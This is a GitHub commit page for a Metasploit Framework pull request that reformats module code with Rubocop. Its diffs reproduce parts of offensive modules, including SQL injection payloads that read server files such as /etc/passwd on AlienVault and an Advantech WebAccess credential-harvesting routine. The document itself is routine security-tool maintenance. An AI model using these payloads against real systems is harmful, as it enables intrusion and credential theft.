Skip to content

Commit 04a6185

Browse files
authored
Merge pull request #20329 from cgranleese-r7/runs-layout-rubocop-on-modules
Runs Rubocop to fix layout in modules
2 parents 7208c10 + a4b14d8 commit 04a6185

File tree

2,320 files changed

+90242
-89978
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

2,320 files changed

+90242
-89978
lines changed

modules/auxiliary/admin/mssql/mssql_enum.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -22,9 +22,9 @@ module to work, valid administrative user credentials must be
2222
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ],
2323
'License' => MSF_LICENSE,
2424
'Notes' => {
25-
'Stability' => [CRASH_SAFE],
26-
'SideEffects' => [IOC_IN_LOGS],
27-
'Reliability' => []
25+
'Stability' => [CRASH_SAFE],
26+
'SideEffects' => [IOC_IN_LOGS],
27+
'Reliability' => []
2828
}
2929
)
3030
)

modules/auxiliary/admin/smb/ms17_010_command.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -111,7 +111,7 @@ def smb_pwn(ip)
111111
report_note(
112112
:rhost => datastore['RHOSTS'],
113113
:rport => datastore['RPORT'],
114-
:type => "psexec_command",
114+
:type => "psexec_command",
115115
:name => datastore['COMMAND'],
116116
:data => { :command_output => output }
117117
)

modules/auxiliary/cloud/aws/enum_ec2.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -89,7 +89,7 @@ def describe_ec2_instance(inst)
8989
# host: inst.private_ip_address,
9090
# type: 'ec2.public_ips',
9191
# data: { :eips => eips.join(' ') }
92-
#) unless eips.empty?
92+
# ) unless eips.empty?
9393
if inst.public_ip_address && !inst.public_dns_name.empty?
9494
report_note(
9595
host: inst.private_ip_address,

modules/auxiliary/dos/http/apache_range_dos.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -84,10 +84,10 @@ def check_for_dos
8484
print_status("Found Byte-Range Header DOS at #{uri}")
8585

8686
report_note(
87-
:host => rhost,
88-
:port => rport,
89-
:type => 'apache.killer',
90-
:data => { :uri => uri }
87+
:host => rhost,
88+
:port => rport,
89+
:type => 'apache.killer',
90+
:data => { :uri => uri }
9191
)
9292

9393
else

modules/auxiliary/fileformat/badpdf.rb

Lines changed: 17 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -7,27 +7,28 @@ class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::FILEFORMAT
88

99
def initialize(info = {})
10-
super(update_info(info,
11-
'Name' => 'BADPDF Malicious PDF Creator',
12-
'Description' => '
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'BADPDF Malicious PDF Creator',
14+
'Description' => %q{
1315
This module can either creates a blank PDF file which contains a UNC link which can be used
1416
to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary
1517
code into an existing PDF document if possible.
16-
',
17-
'License' => MSF_LICENSE,
18-
'Author' =>
19-
[
20-
'Assaf Baharav', # Code provided as POC by CheckPoint
21-
'Yaron Fruchtmann', # Code provided as POC by CheckPoint
22-
'Ido Solomon', # Code provided as POC by CheckPoint
23-
'Richard Davy - secureyourit.co.uk', # Metasploit
24-
],
25-
'Platform' => ['win'],
26-
'References' =>
27-
[
18+
},
19+
'License' => MSF_LICENSE,
20+
'Author' => [
21+
'Assaf Baharav', # Code provided as POC by CheckPoint
22+
'Yaron Fruchtmann', # Code provided as POC by CheckPoint
23+
'Ido Solomon', # Code provided as POC by CheckPoint
24+
'Richard Davy - secureyourit.co.uk', # Metasploit
25+
],
26+
'Platform' => ['win'],
27+
'References' => [
2828
['CVE', '2018-4993'],
2929
['URL', 'https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/']
30-
])
30+
]
31+
)
3132
)
3233
register_options(
3334
[

modules/auxiliary/fileformat/odt_badodt.rb

Lines changed: 41 additions & 46 deletions
Large diffs are not rendered by default.

modules/auxiliary/gather/advantech_webaccess_creds.rb

Lines changed: 27 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -6,35 +6,37 @@
66
class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::Remote::HttpClient
88

9-
def initialize(info={})
10-
super(update_info(info,
11-
'Name' => "Advantech WebAccess 8.1 Post Authentication Credential Collector",
12-
'Description' => %q{
13-
This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.
14-
Although authentication is required, any level of user permission can exploit this vulnerability.
15-
16-
Note that 8.2 is not suitable for this.
17-
},
18-
'License' => MSF_LICENSE,
19-
'Author' =>
20-
[
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => "Advantech WebAccess 8.1 Post Authentication Credential Collector",
14+
'Description' => %q{
15+
This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.
16+
Although authentication is required, any level of user permission can exploit this vulnerability.
17+
18+
Note that 8.2 is not suitable for this.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => [
2122
'h00die', # Pointed out the obvious during a PR review for CVE-2017-5154
2223
'sinn3r', # Metasploit module
2324
],
24-
'References' =>
25-
[
25+
'References' => [
2626
['CVE', '2016-5810'],
2727
['URL', 'https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229']
2828
],
29-
'DisclosureDate' => '2017-01-21'
30-
))
29+
'DisclosureDate' => '2017-01-21'
30+
)
31+
)
3132

3233
register_options(
3334
[
3435
OptString.new('WEBACCESSUSER', [true, 'Username for Advantech WebAccess', 'admin']),
3536
OptString.new('WEBACCESSPASS', [false, 'Password for Advantech WebAccess', '']),
3637
OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']),
37-
])
38+
]
39+
)
3840
end
3941

4042
def do_login
@@ -43,15 +45,15 @@ def do_login
4345
uri = normalize_uri(target_uri.path, 'broadweb', 'user', 'signin.asp')
4446

4547
res = send_request_cgi({
46-
'method' => 'POST',
47-
'uri' => uri,
48+
'method' => 'POST',
49+
'uri' => uri,
4850
'vars_post' => {
4951
'page' => '/',
50-
'pos' => '',
52+
'pos' => '',
5153
'username' => datastore['WEBACCESSUSER'],
5254
'password' => datastore['WEBACCESSPASS'],
53-
'remMe' => '',
54-
'submit1' => 'Login'
55+
'remMe' => '',
56+
'submit1' => 'Login'
5557
}
5658
})
5759

@@ -77,11 +79,11 @@ def do_login
7779
def get_user_cred_detail(sid, user)
7880
vprint_status("Gathering password for user: #{user}")
7981

80-
uri = normalize_uri(target_uri.path, 'broadWeb','user', 'upAdminPg.asp')
82+
uri = normalize_uri(target_uri.path, 'broadWeb', 'user', 'upAdminPg.asp')
8183

8284
res = send_request_cgi({
8385
'method' => 'GET',
84-
'uri' => uri,
86+
'uri' => uri,
8587
'cookie' => sid,
8688
'vars_get' => {
8789
'uname' => user
@@ -106,7 +108,7 @@ def get_users_page(sid)
106108

107109
res = send_request_cgi({
108110
'method' => 'GET',
109-
'uri' => uri,
111+
'uri' => uri,
110112
'cookie' => sid
111113
})
112114

modules/auxiliary/gather/alienvault_iso27001_sqli.rb

Lines changed: 27 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -6,45 +6,45 @@
66
class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::Remote::HttpClient
88

9-
def initialize(info={})
10-
super(update_info(info,
11-
'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",
12-
'Description' => %q{
13-
AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG
14-
generation PHP file. This module exploits this to read an arbitrary file from
15-
the file system. Any authenticated user is able to exploit it, as administrator
16-
privileges aren't required.
17-
},
18-
'License' => MSF_LICENSE,
19-
'Author' =>
20-
[
21-
'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",
14+
'Description' => %q{
15+
AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG
16+
generation PHP file. This module exploits this to read an arbitrary file from
17+
the file system. Any authenticated user is able to exploit it, as administrator
18+
privileges aren't required.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => [
22+
'Brandon Perry <bperry.volatile[at]gmail.com>' # meatpistol module
2223
],
23-
'References' =>
24-
[
24+
'References' => [
2525
['EDB', '32644']
2626
],
27-
'DefaultOptions' =>
28-
{
27+
'DefaultOptions' => {
2928
'SSL' => true
3029
},
31-
'Platform' => ['linux'],
32-
'Privileged' => false,
33-
'DisclosureDate' => '2014-03-30'))
30+
'Platform' => ['linux'],
31+
'Privileged' => false,
32+
'DisclosureDate' => '2014-03-30'
33+
)
34+
)
3435

35-
register_options(
36+
register_options(
3637
[
3738
Opt::RPORT(443),
3839
OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),
3940
OptString.new('USERNAME', [ true, 'Single username' ]),
4041
OptString.new('PASSWORD', [ true, 'Single password' ]),
4142
OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ])
42-
])
43-
43+
]
44+
)
4445
end
4546

4647
def run
47-
4848
print_status("Get a valid session cookie...")
4949
res = send_request_cgi({
5050
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')
@@ -113,17 +113,17 @@ def run
113113
full << str
114114
vprint_status(str)
115115

116-
i = i+1
116+
i = i + 1
117117
end
118118

119119
path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])
120120
print_good("File stored at path: " + path)
121121
end
122122

123123
def sqli(left_marker, right_marker, i, cookie, filename)
124-
pay = "2014-02-28' AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"
124+
pay = "2014-02-28' AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"
125125
pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"
126-
pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
126+
pay << "0x20)),#{(50 * i) + 1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
127127
pay << " GROUP BY x)a) AND 'xnDa'='xnDa"
128128

129129
get = {
@@ -145,4 +145,3 @@ def sqli(left_marker, right_marker, i, cookie, filename)
145145
end
146146
end
147147
end
148-

modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb

Lines changed: 31 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -6,46 +6,46 @@
66
class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::Remote::HttpClient
88

9-
def initialize(info={})
10-
super(update_info(info,
11-
'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",
12-
'Description' => %q{
13-
AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against
14-
newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability
15-
to read an arbitrary file from the file system. Any authenticated user is able to exploit
16-
this, as administrator privileges are not required.
17-
},
18-
'License' => MSF_LICENSE,
19-
'Author' =>
20-
[
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",
14+
'Description' => %q{
15+
AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against
16+
newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability
17+
to read an arbitrary file from the file system. Any authenticated user is able to exploit
18+
this, as administrator privileges are not required.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => [
2122
'Chris Hebert <chrisdhebert[at]gmail.com>'
2223
],
23-
'References' =>
24-
[
24+
'References' => [
2525
['CVE', '2014-5383'],
2626
['OSVDB', '106815'],
2727
['EDB', '33317'],
2828
['URL', 'http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower']
2929
],
30-
'DefaultOptions' =>
31-
{
30+
'DefaultOptions' => {
3231
'SSL' => true
3332
},
34-
'Privileged' => false,
35-
'DisclosureDate' => '2014-05-09'))
36-
37-
register_options([
38-
Opt::RPORT(443),
39-
OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),
40-
OptString.new('USERNAME', [ true, 'Single username' ]),
41-
OptString.new('PASSWORD', [ true, 'Single password' ]),
42-
OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]),
43-
OptInt.new('SQLI_TIMEOUT', [ true, 'Specify the maximum time to exploit the sqli (in seconds)', 60])
44-
])
33+
'Privileged' => false,
34+
'DisclosureDate' => '2014-05-09'
35+
)
36+
)
37+
38+
register_options([
39+
Opt::RPORT(443),
40+
OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),
41+
OptString.new('USERNAME', [ true, 'Single username' ]),
42+
OptString.new('PASSWORD', [ true, 'Single password' ]),
43+
OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]),
44+
OptInt.new('SQLI_TIMEOUT', [ true, 'Specify the maximum time to exploit the sqli (in seconds)', 60])
45+
])
4546
end
4647

4748
def run
48-
4949
print_status("Get a valid session cookie...")
5050
res = send_request_cgi({
5151
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')
@@ -117,7 +117,7 @@ def run
117117
full << str
118118
vprint_status(str)
119119

120-
i = i+1
120+
i = i + 1
121121
end
122122
end
123123
rescue ::Timeout::Error
@@ -134,9 +134,9 @@ def run
134134
end
135135

136136
def sqli(left_marker, right_marker, sql_true, i, cookie, filename)
137-
pay = "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"
137+
pay = "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"
138138
pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"
139-
pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
139+
pay << "0x20)),#{(50 * i) + 1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
140140
pay << " GROUP BY x)a) AND ('0x#{sql_true.unpack("H*")[0]}'='0x#{sql_true.unpack("H*")[0]}"
141141

142142
get = {

0 commit comments

Comments
 (0)